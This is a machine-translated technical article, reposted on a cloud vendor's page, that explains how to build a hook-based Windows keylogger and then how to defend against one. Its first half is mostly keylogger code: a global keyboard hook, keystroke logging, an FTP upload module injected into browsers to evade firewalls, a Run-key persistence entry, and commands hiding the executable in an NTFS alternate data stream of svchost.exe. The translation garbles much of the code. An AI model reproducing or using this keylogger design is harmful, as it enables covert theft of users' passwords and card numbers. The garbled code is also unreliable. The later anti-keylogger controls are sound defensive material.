Principle and prevention of keyboard shadow keyboard Monitor

Source: Internet
Author: User

Address: http://zhuxianzhong.blog.51cto.com/157061/60099

 

Introduction

This article will discuss in detail the C ++/C # development process of a keyboard monitor and give some suggestions for anti-spam. It is hoped that readers will understand the working principle of hook-based Snoop software to better protect their own software.

Background

Software-based keyboard Event recorders are a serious security threat because they capture key-hitting operations to monitor user actions. The monitor can be used for malicious behaviors such as theft of credit card numbers. For example, a key-hitting recorder is a basic component of Trojans virus. It quietly runs the server to capture users' key-hitting operations in the background. The key-hitting event is saved in a well-hidden file and sent to the viewer via email or FTP.

I. Design of keyboard Monitor

The following is a simple example using the hook technology.

Keyboard monitor architecture

The keyboard Monitor consists of three modules: the main module, the hook process and the FTP module. The main module is responsible for installing a global hook process. The task of this hook is to report each key event to the main module. The main module saves all the keys to a file. When the record file reaches the predefined size, the main module commands the FTP module to upload the record file to an FTP server. Communication between the three modules is achieved through the windows message mechanism.

The Window Process Code of the main module is as follows:

//////////////////////////////////////// ///////////////////////////
// Function: wndproc (hwnd, unsigned, word, long)
// Purpose: to process messages in the Main Window
// Msg_my_wm_keydown-process the application key
// Msg_my_wm_setfocus-process the application key
// Msg_wm_upload_file-process an FTP module notification
// Wm_destroy-send an Exit message and return
Lresult callback wndproc (hwnd, uint message, wparam,
Lparam)
{
If (Message = msg_my_wm_keydown)
Return oninterceptkeystroke (wparam, lparam );
If (Message = msg_my_wm_setfocus)
Return onsetkeyboardfocus (wparam, lparam );
If (Message = msg_wm_upload_file)
Return onfileuploaded (wparam, lparam );
Switch (Message)
{
Case wm_destroy:
Postquitmessage (0 );
Break;
Default:
Return defwindowproc (hwnd, message, wparam, lparam );
}
Return 0;
}
//////////////////////////////////////// ///////////////////////////
Lresult oninterceptkeystroke (wparam, lparam)
{
// If we are logging on to a new application, we should print an appropriate Header
If (g_hwininfocus! = G_hlastwin)
{
Writenewappheader (g_hwininfocus );
G_hlastwin = g_hwininfocus;
}
If (wparam = vk_return | wparam = vk_tab)
{
Writetolog ('\ n ');
}
Else
{
Byte keystatearr [256];
Word word;
Uint scancode = lparam;
Char ch;
// Convert the virtual key code into ASCII code
Getkeyboardstate (keystatearr );
Toascii (wparam, scancode, keystatearr, & Word, 0 );
Ch = (char) word;

If (getkeystate (vk_shift) & 0x8000) & wparam> = 'A' & wparam <= 'Z ')
CH + = 'a'-'A ';
Writetolog (CH );
}
Return 0;
}
//////////////////////////////////////// ///////////////////////////
Lresult onsetkeyboardfocus (wparam, lparam)
{
G_hwininfocus = (hwnd) wparam;
Return s_ OK;
}
//////////////////////////////////////// ///////////////////////////
Lresult onfileuploaded (wparam, lparam)
{
// Record uploaded successfully
If (wparam)
{
Deletefile (g_sspylogfilename2 );
}
Else
{
Char temp [255];
File * F1 = fopen (g_sspylogfilename, "RT ");
File * F2 = fopen (g_sspylogfilename2, "");
While (! Feof (F1 ))
{
If (fgets (temp, 255, F1 ))
{
Fputs (temp, F2 );
}
}
Fclose (F1 );
Fclose (F2 );
Movefile (g_sspylogfilename2, g_sspylogfilename );
}
G_isuploading = false;
Return s_ OK;
}

Global wh_cbt hook

A system-wide hook is actually a function that is installed in all processes currently running and monitored before the monitored message reaches the target window. The hook process is used to monitor various types of events in the system, such as keys. You can call the Win32 API function setwindowshookex to install a hook process and specify the hook type for calling the process. The wh_cbt hook process gets focus in the window and is called before the key-hitting event is cleared from the system message queue. All desktop applications call a global hook process in their own context, so the hook process must reside in a DLL independent of the application to install the hook process.

DLL shared memory area

A dll shared memory area is actually a memory variable that can be seen by all DLL instances. The main module stores its window handle in the shared memory area of the hook DLL-This dll enables all hook process instances to mail window messages back to the main module.

The hook process shares the memory area and outputs the function:

//////////////////////////////////////// ///////////////////////////
// Shared memory
# Pragma data_seg (". adshared ")
Hwnd g_hspywin = NULL;
# Pragma data_seg ()
# Pragma comment (linker, "/section:. adshared, RWS ")
//////////////////////////////////////// ///////////////////////////
Void callback setspyhwnd (DWORD hwnd)
{
G_hspywin = (hwnd) hwnd;
}
//////////////////////////////////////// ///////////////////////////
Lresult callback hookproc (INT ncode, wparam, lparam)
{
If (ncode = hcbt_keyskipped & (lparam & 0x40000000 ))
{
If (wparam = vk_space) | (wparam = vk_return) | (wparam = vk_tab) | (wparam> = 0x2f) & (wparam <= 0x100 ))
{
: Postmessage (g_hspywin, msg_my_wm_keydown, wparam, lparam );
}
}
Else if (ncode = hcbt_setfocus)
{
: Postmessage (g_hspywin, msg_my_wm_setfocus, wparam, lparam );

If (binjectftpdll &: findwindow (comm_win_class, null) = NULL)
{
Hinstance hftpdll;
Init initfunc;
If (hftpdll =: loadlibrary (ftp_dll_name ))
{
If (initfunc = (init): getprocaddress (hftpdll, "init "))
{
(Initfunc) (DWORD) g_hspywin );
}
}
Binjectftpdll = false;
}
}
Return callnexthookex (0, ncode, wparam, lparam );
}

The main module code of the function is as follows:

Typedef lresult (callback * hookproc) (INT ncode, wparam,
Lparam );
Typedef void (winapi * setspyhwnd) (DWORD );
Hmodule g_hhookdll = NULL;
Hhook g_hhook = NULL;
Bool installhook (hwnd)
{
Setspyhwnd sethwndfunc;
Hookproc hookprocfunc;

If (g_hhookdll = loadlibrary (spy_dll_name ))
{
If (sethwndfunc = (setspyhwnd): getprocaddress (g_hhookdll, "setspyhwnd "))
{
// Store the hwnd of the main module in the shared storage area
(Sethwndfunc) (DWORD) hwnd );
If (hookprocfunc = (hookproc): getprocaddress (g_hhookdll, "hookproc "))
{
If (g_hhook = setwindowshookex (wh_cbt, hookprocfunc, g_hhookdll, 0 ))
Return true;
}
}
}
Return false;
}

Theft

A spyware must hide its traces to prevent itself from being detected. They mainly involve three technical areas: file system, task manager, and firewall.

Task Manager theft

ADS (alternate data streams) is an NTFS file system feature that allows you to send file data to existing files without affecting their functions, size, resource manager, and other browsing tools. Local file browsing technology is almost impossible to detect files with ads. Once a file is injected with this feature, ads can be executed by conventional commands such as type. During activation, the ads execution body appears and runs as a raw file: You can use a process Observer such as Windows Resource Manager to experiment. With this technique, not only a file may be hidden, but also the execution part of an illegal process may be hidden. In fact, if the NTFS system is installed, you cannot
Locally detects files hidden in ads mode. The ads feature cannot be disabled. So far, there is no way to restrict access to files that users already have access. The sample program does not use ads for a concise purpose.

You can use the following example to manually operate ads.

Inject spy.exe to svchost.exe
"Type spy.exe> c: \ windows \ system32 \ svchost.exe: spy.exe"
Run spy.exe
"Start svchost.exe: spy.exe"

Firewall theft

Most firewall software can detect and block unauthorized programs from accessing the Internet. The main module uploads record files to an FTP server by using the FTP module. The firewall injects the FTP module DLL into another installed application for theft. DLL injection means that a process that cannot be suspended must accept a DLL file that is never required. In the example, I chose to inject the FTP module into Internet Explorer or Firefox. DLL injection will bypass the detection of most firewall software, especially when the FTP server is listening to port 80. Hook process DLL (which is automatically loaded into all running processes by the setwindowshookex function)
Explorer is Firefox and loads the FTP module DLL (using loadlibrary. Calling the loadlibrary function from dllmain is not allowed. Therefore, dllmain sets a Boolean variable to allow the hook process to call the loadlibrary function.

The following is the hook process in the dllmain module:

Bool apientry dllmain (handle hmodule, DWORD ul_reason_for_call,
Lpvoid lpreserved)
{
Switch (ul_reason_for_call)
{
Case dll_process_attach:
{
Char processname [255];
Getmodulefilename (getmodulehandle (null), processname, sizeof (processname ));
Strcpy (processname, _ strlwr (processname ));
If (strstr (processname, "iexplore.exe") | strstr (processname, "firefox.exe "))
Binjectftpdll = true;
Break;
}
Case dll_thread_attach:
Case dll_thread_detach:
Case dll_process_detach:
Break;
}
Return true;
}

Start

Adding a monitoring program to the following registry keys will enable it to be stimulated when the system starts:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run.
  Ii. Prevention of keyboard monitoring

In this section, I will introduce two simple techniques to help your application fight back the hook-based keyboard monitoring program.

Password editing control with preventive monitoring function

The monitoring-free editing control generates a simulated random key-hit string for each user's key. The monitoring program intercepts user keys and pseudo keys, making it difficult or impossible to retrieve the actual input text. User input is stored in a member variable-the application can easily access the value of the variable through the editing control. In this example, the pseudo-key is implemented by calling the Win32 API sendinput. The following two controls are implemented: an MFC version and A. Net version.

This secure editing control assumes that the function sendinput generates a key-press speed faster than the user's key-press speed. This may cause the editing of secure controls to return incorrect user data on slow machines, especially when running the C # implementation version.

Csafeedit class for VC ++ MFC:

Void csafeedit: onkeyup (uint nchar, uint nrepcnt, uint nflags)
{
If (nchar = vk_shift | nchar = vk_control | nchar = vk_menu)
Return;
If (nchar = vk_delete | nchar = vk_back)
{
Setwindowtext ("");
M_srealtext = "";
Return;
}
If (m_state = 0)
{
M_idummykeystrokescount = senddummykeystrokes ();
M_state = 1;
Cstring text;
Getwindowtext (text );
M_srealtext + = text. Right (1 );
}
Else
{
If (m_state ++> = m_idummykeystrokescount)
M_state = 0;
}
Cedit: onkeyup (nchar, nrepcnt, nflags );
}
//////////////////////////////////////// ///////////////////////////
Cstring csafeedit: getrealtext ()
{
Return m_srealtext;
}
//////////////////////////////////////// ///////////////////////////
Int csafeedit: senddummykeystrokes ()
{
Srand (unsigned): gettickcount ());
Int ikeystrokecount = rand () % 5 + 1;
Int key;
Input indium [2];
Indium [0]. type = input_keyboard;
Indium [0]. Ki. dwextrainfo =: getmessageextrainfo ();
Indium [0]. Ki. dwflags = 0;
Indium [0]. Ki. Time = 0;
For (INT I = 0; I <ikeystrokecount; I ++)
{
Key = rand () % ('Z'-'A') + 'a ';
Indium [0]. Ki. wscan = key;
Indium [0]. Ki. wvk = key;
Indium [1] = indium [0];
Indium [1]. Ki. dwflags = keyeventf_keyup;
Sendinput (2, indium, sizeof (input ));
}
Return ikeystrokecount;
}

The safeedit class implemented in C:

Public struct keydbinput
{
Public int16 wvk;
Public int16 wscan;
Public int32 dwflags;
Public int32 time;
Public int32 dwextrainfo;
Public int32 _ filler1;
Public int32 _ filler2;
}
Public struct Input
{
Public int32 type;
Public keydbinput Ki;
}
[Dllimport ("USER32")] public static extern int
Sendinput (INT cinputs, ref input pinputs, int cbsize );
Protected void onkeyup (Object sender, system. Windows. Forms. keyeventargs E)
{
If (E. keydata = keys. shiftkey | E. keydata = keys. controlkey | E. keydata = keys. alt)
Return;
If (E. keydata = keys. Delete | E. keydata = keys. Back)
{
TEXT = "";
M_srealtext = "";
Return;
}
If (m_state = 0)
{
M_idummykeystrokescount = senddummykeystrokes ();
M_state = 1;
M_srealtext + = text [text. Length-1];
}
Else
{
If (m_state ++> = m_idummykeystrokescount)
M_state = 0;
}
}
Public int senddummykeystrokes ()
{
Short key;
Random Rand = new random ();
Int ikeystrokecount = Rand. Next (1, 6 );
Input inputdown = new input ();
Inputdown. type = input_keyboard;
Inputdown. Ki. dwflags = 0;
Input inputup = new input ();
Inputup. type = input_keyboard;
Inputup. Ki. dwflags = keyeventf_keyup;
For (INT I = 0; I <ikeystrokecount; I ++)
{
Key = (short) Rand. Next ('A', 'z ');
Inputdown. Ki. wvk = key;
Sendinput (1, ref inputdown, Marshal. sizeof (inputdown ));
Inputup. Ki. wvk = key;
Sendinput (1, ref inputup, Marshal. sizeof (inputup ));
}
Return ikeystrokecount;
}

SpyRemover class

Hook-based monitoring programs rely on their hook process DLL. Removing the hook DLL from the application process will make the Snoop program injected into the application lose the ability to snoop the key. The example program uses the class SpyRemover to remove the hook DLL file. The SpyRemover constructor receives a list of "Authorization modules. If a module is loaded into an application but does not appear in the list, it is considered unauthorized. SpyRemover detects unauthorized modules by enumerating all application process modules.

Void SpyRemover: timerproc (hwnd, uint umsg,
Unsigned int idevent, DWORD dwtime)
{
M_spyremover-> enummodules ();
}
//////////////////////////////////////// //////////////////////////
SpyRemover: SpyRemover (char * szauthorizedlist)
{
M_spyremover = this;
M_szauthorizedlist = "";
M_szauthorizedlist + = szauthorizedlist;
M_szauthorizedlist + = "";
M_szauthorizedlist.makelower ();
: Settimer (null, 0,500, timerproc );
}
//////////////////////////////////////// ///////////////////////////
Void SpyRemover: enummodules ()
{
DWORD dwpid =: getcurrentprocessid ();
Handle hmodulesnap = invalid_handle_value;
Moduleentry32 me32;
// Obtain a snapshot of all modules of the current process
Hmodulesnap = createconlhelp32snapshot (th32cs_snapmodule, dwpid );
If (hmodulesnap = invalid_handle_value)
Return;
Me32.dwsize = sizeof (moduleentry32 );
// Check the information of the first release (application.exe)
If (! Module32first (hmodulesnap, & me32 ))
{
Closehandle (hmodulesnap );
Return;
}
// Traverse the list of modules of the current process
Do
{
If (! Ismoduleauthorized (me32.szmodule ))
{
Hmodule = me32.hmodule;
Closehandle (hmodulesnap );
Freelibrary (hmodule );
Return;
} While (module32next (hmodulesnap, & me32 ));
Closehandle (hmodulesnap );
}
//////////////////////////////////////// ///////////////////////////
Bool SpyRemover: ismoduleauthorized (char * szmodulename)
{
Char szmodule [1024];
Sprintf (szmodule, "% s", szmodulename );
Strcpy (szmodule, _ strlwr (szmodule ));
If (strstr (m_szauthorizedlist, szmodule ))
Return true;
Else
Return false;
}

Summary

Based on Software Protection, this article discusses in detail the development of a keyboard monitor and provides some suggestions for anti-monitoring. It is hoped that readers will understand the working principle of hook-based Snoop software to better protect their own software. In addition, the Code appended to this article is successfully debugged in the Windows 2000/. NET 2003 environment.

This article is from the "Qingfeng" blog. For more information, contact the author!

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.